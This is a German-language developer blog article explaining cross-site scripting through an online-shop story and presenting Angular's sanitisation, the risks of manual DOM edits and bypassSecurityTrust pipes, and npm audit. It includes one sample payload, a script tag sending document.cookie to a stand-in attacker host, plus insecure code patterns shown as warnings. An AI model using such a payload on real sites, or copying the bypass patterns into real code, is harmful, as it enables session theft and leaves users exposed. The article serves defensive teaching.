Eine typische Story eines Users

Du bist Nutzer:in eines Online Shops: lange Winterabende sind doch eine nette Gelegenheit, um mal wieder gemütlich in deinem Lieblings-Online-Shop zu stöbern. Es gibt gerade tolle Angebote und die neue Winterkollektion ist auch erst kürzlich erschienen. Du bist in Shopping-Laune, möchtest dir ein cooles Shirt genauer ansehen und öffnest dafür die Produkt-Detailansicht. Und BOOM! Ohne, dass du es gemerkt hast, wurden soeben deine privaten Daten und Login-Details geklaut. Aber wie konnte das passieren, was ist schiefgelaufen?

Die Herausforderung & Lösung für Entwickler:innen

Du bist Entwickler:in: Erfahre im Folgenden, wie Angreifende mithilfe von Java Script in veröffentlichten Kommentaren die sensiblen Daten deiner Kund:innen stehlen können. Denn was sich anhört wie ein True Crime Plot, könnte auf jeder ungeschützten Webseite passieren. Aber keine Sorge – dieser Artikel stellt dir das JavaScript-Framework Angular vor, mit dessen Security Hardening-Mechanismen du dich gegen solche Cyber-Angriffe und Cross-Site-Scripting (XSS) schützen kannst, um deine IT-Sicherheit zu erhöhen. Lese hier, wie du diese richtig einsetzt und was du dabei noch beachten solltest, um deine Cyber-Security zu verbessern.

Tatort im Web: Sicherheitslücken auf Websites

… du bist wieder Nutzer:in: Was ist gerade bei deinem Besuch im Online Shop passiert? Du hast eine Seite mit einer Sicherheitslücke besucht. Ohne, dass du es gemerkt hast, hat eine andere Nutzer:in eine Produktrezension zum Produkt hochgeladen. Diese enthält nicht nur hübsch formatierten Text mit der Nutzererfahrung zum Produkt, sondern auch JavaScript. Dieses schnappt sich dein Browser und führt die darin beschriebenen Anweisungen brav aus…also den lokalen Speicher auszulesen und die darin liegenden Cookies an die Website eines böswilligen Akteurs zu senden.

Du wurdest Opfer von Cross-Site Scripting!

Was ist Cross-Site Scripting (XSS)? 

Du bist jetzt wieder Entwickler:in: mit XSS können Angreifende ein bösartiges Skript im Web-Browser des Opfers ausführen. Der seltsame Kommentar einer Nutzer:in lautet:

<script>window.location=”http://attakers.site/?cookie=” + document.cookie;</script> 

Dabei vertraut der Browser dem Fremdskript und gewährt den Angreifenden Zugang zu sensiblen Nutzerinformationen wie Log-In Daten. Im Beispielfall liest das Skript die für die Seite gespeicherten Cookies aus und sendet diese mittels einer GET-Anfrage als Parameter an eine fremde Seite. Mit diesen Cookies wären die Angreifer:innen in der Lage, ohne die Login-Details zu kennen, sich bei der Seite mit der gestohlenen Identität des Opfers anzumelden.  

Wie kann aber der Browser nun wissen, was ein legitimes Skript ist? – Das kann er nicht! 

JavaScript ist schwer verzichtbar, denn es macht Webseiten lebendiger, interaktiver und nutzerfreundlicher. JavaScript sendet Daten übers Netz, empfängt und interpretiert diese. Wie können wir dennoch unsere Webseite und somit auch unsere Kund:innen schützen? 

Angular’s Lösung – Traue niemanden 

Angular Security: Um systematisch XSS-Bugs zu blocken, behandelt Angular alle Werte als nicht vertrauenswürdig. Wenn nun also mittels der Nutzung von interpolierenden Klammern – {{meinWert}} – in Angular ein Wert dargestellt wird, wird dieser von Angular enkodiert. Das heißt, der Browser wird den Wert als pures textuelles Anzeigeelement (String) interpretieren.

Auch dynamisch generierter Inhalt, wie in unserem Beispiel der Nutzerbewertung von vorhin, kann durch Angular geschützt werden. Um Formatierungs-HTML-Tags in Kommentaren beizubehalten und Nutzer:innen vor Skripten zu bewahren, hat Angular [innerHtml] vorgestellt.

Hier werden potenziell gefährliche Kommentare von Nutzer:innen dynamisch in Angular eingebunden.

<div [innerHtml]="userComment"></div>
export class CommentComponent {
userComment: string = '<p>This is a <strong>user comment</strong> with <em>HTML</em> tags.</p>';
} 

Skripte werden dabei automatisch in normalen Text umgewandelt. 

Im Falle unseres Nutzerbeispiels, wird der <script> Tag als Text interpretiert und dargestellt. Somit wird diese Art von Angriffen effektiv abgewehrt. 

Plot Twist: Entwickler:innen bearbeiten den DOM

Angular erlaubt Entwickler:innen, das Document Object Model (DOM) einer Website auf mehrere Arten anzupassen. So gehören neben der schon erwähnten Dateninterpolation auch das Property Binding, Template Referenzen und strukturelle Direktiven zu den nützlichen Angular Werkzeugen für die DOM-Manipulation. Dies hält manche Entwickler:innen leider nicht davon ab, den DOM manuell zu bearbeiten. So führt eins zum anderen, Code wird in der Anwendung wiederverwendet und gelangt in einen unsicheren Kontext.

@ViewChild("myHeading") heading: ElementRef 
setHeading(headingValue: string) { 
this.heading.nativeElement.innerHTML = headingValue;
}                                                                                                                                                                                  

Hier kann die Eingabe einer Nutzer:in ungeprüft die Angular Schutzmechanismen umgehen.

Ein anderer Weg diese Mechanismen (auch Angular DomSanitizer genannt) zu umgehen, ist es diese Maßnahmen aktiv auszuschalten. Wie oft findet man als Entwickler:in die scheinbar perfekte Lösung auf Stack; nur um dann festzustellen, dass diese in der aktuellen Sicherheitskonfiguration im Projekt blockiert wird? Angular lässt es auch zu, den vom Werk aus eingestellten Schutz mittels folgender Funktionen abzuschalten: 

byPassSecurityTrustHtml()
byPassSecurityTrustStyle()
byPassSecurityTrustScript()
byPassSecurityTrustUrl()
byPassSecurityTrustResourceUrl()

Manche von diesen werden, für einfache Wiederverwendbarkeit, gerne in Angular Pipes ausgelagert:

@Pipe({ name: 'escapeHtml', pure: false })
export class EscapeHtmlPipe implements PipeTransform {

constructor(private sanitizer: DomSanitizer) {}

transform(content: string) {
return this.sanitizer.bypassSecurityTrustHtml(content);
}
}

Leider ist die Nutzung oder nur die Bereitstellung solcher Schutz-Aushebelungsmethoden keine gute Idee. 

Extra Schutz – npm audit

Jede Kleinigkeit selbst implementieren? Heutzutage undenkbar. Eine Vielzahl an Lösungen in Form von externen Bibliotheken ermöglicht es, eine notwendige Abhängigkeit schnell einzubinden und schon muss kaum noch etwas implementiert werden. Das Risiko dabei ist, dass externe Bibliotheken den Code anderer Entwickler:innen enthalten und somit nicht gegen Sicherheitsrisiken immun sind. Um die Gefahr von XSS durch Fremdcode zu minimieren, ist es zu empfehlen, gängige und regelmäßig aktualisierte Bibliotheken zu nutzen.

Für einen Überblick über potenziell bekannte Schwachstellen in der eigenen Anwendung hilft der Befehl: npm audit. Dieser prüft alle im Projekt verwendeten Abhängigkeiten auf bekannte Sicherheitsschwachstellen. Anschließend wird ein Report erstellt, der alle derzeitig bekannten Schwachstellen im Projekt auflistet. Mittels npm audit fix könnte auch ein automatisiertes Update der betroffenen Abhängigkeiten unternommen werden.

Nun bleiben einige Fragen offen, die von Projektkonstellation, Kundenvereinbarungen und Vertragsbedingungen abhängen:

• Wie oft soll nach Schwachstellen geprüft werden?
• Wie geht man mit Schwachstellen um, die sich nicht durch ein Update schließen lassen?
• Wie lange darf eine Schwachstelle toleriert werden, bevor die Abhängigkeit durch eine andere ersetzt werden muss?

Und das erwartet dich im nächsten Beitrag:

Dein Angular-Code ist nun sicher gegen Cross-Site-Scripting-Attacken. Das gefällt den Angreifenden überhaupt nicht. Diese müssen sich jetzt nämlich mehr anstrengen, um ihren böswilligen JavaScript-Code bei deinen Webseite-Besucher:innen einzuschleusen. Ihr Ziel sind deshalb nun die nicht von dir geschriebenen Software-Module – die Abhängigkeiten deines Projektes. Einen verstärkten Sicherheitsrahmen gegen potenziell gefährliche Fremdinhalte auf deiner Website bietet die iframe sandbox. Erfahre im nächsten Beitrag, wie du als Entwickler:in verhindern kannst, dass böswilliger Code aus solch importieren, fremden Inhalten ausbrechen kann.